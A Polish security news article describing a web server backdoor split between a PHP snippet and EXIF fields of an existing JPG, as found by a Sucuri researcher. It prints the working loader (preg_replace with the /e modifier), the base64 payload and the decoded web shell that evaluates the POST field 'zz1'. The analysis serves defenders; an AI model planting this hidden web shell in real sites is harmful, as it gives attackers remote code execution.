Backdoor w nagłówkach EXIF plików JPG

dodał 17 lipca 2013 o 22:33 w kategorii Włamania  z tagami:
Backdoor w nagłówkach EXIF plików JPG

Kreatywność twórców złośliwego oprogramowania jeszcze długo będzie nas zaskakiwać. Tym razem, starając się utrudnić lokalizację i usunięcie skutków infekcji serwerów www, ukryli główny element tylnej furtki w pliku graficznym.

Badacz z firmy Sucuri, analizując skutki włamania na serwer www, natrafił na oryginalną w swojej konstrukcji tylną furtkę. Po uzyskaniu kontroli nad plikami serwera www, włamywacz nie wstrzyknął jak zwykle całego kodu umożliwiającego wykonywanie dowolnych poleceń do pliku php, ale podzielił go na dwa elementy, umieszczone w dwóch różnych miejscach.

Pierwszym śladem włamania był dodatkowy fragment kodu php, nie zawierający żadnych funkcji tradycyjnie uważanych za wykorzystywane przez włamywaczy.

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Pierwsza z funkcji odczytuje tagi EXIF z plików JPG, podczas kiedy druga wykonuje operację zastąpienia zawartości ciągu. Wyglądają niewinnie – dopóki nie przyjrzymy się zawartości pliku JPG.

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

Pole „Make” nagłówka EXIF zawiera ciąg „/.*/e”. Co stanie się, jeśli użyjemy go jako parametru funkcji preg_replace? Otóż zamieni się ona w eval – czyli wykona wskazany ciąg. Teraz spójrzmy na zawartość pola „Model”. Po odkodowaniu ciągu base64 otrzymamy

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

Po podstawieniu obu zmiennych do funkcji całość tylnej furtki ma zatem postać:

preg_replace ("/.*/e", ,"@ eval (if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"])

Działanie tego kodu jest banalnie proste – wywołanie skryptu metodą POST spowoduje wykonanie na serwerze polecenia zawartego w zmiennej zz1. Co ciekawe, włamywacz nie wgrał na serwer swojego pliku JPG, lecz wykorzystał plik już istniejący.

Należy także podkreślić, że metoda ta nie oznacza, że wystarczy wgrać na serwer pliku JPG zawierającego odpowiednie tagi EXIF, by przejąć kontrolę nad maszyną. Włamywacz musiał wcześniej uzyskać kontrolę nad serwerem www, a opisany powyżej sposób służył jedynie utrzymaniu dostępu po załataniu wykorzystanej podatności.

Jakie zalety dla włamywacza może mieć umieszczanie kodu tylnej furtki w pliku JPG? Bez wątpienia zmniejsza on w ten sposób prawdopodobieństwo wykrycia jego kodu w trakcie automatycznej analizy, opartej na poszukiwaniu typowych ciągów używanych do tworzenia tylnych furtek. Dodatkowo może liczyć na nieuwagę osoby analizującej włamanie – odczytanie danych EXIF wygląda dużo bardziej niewinnie niż proste „eval” w kodzie.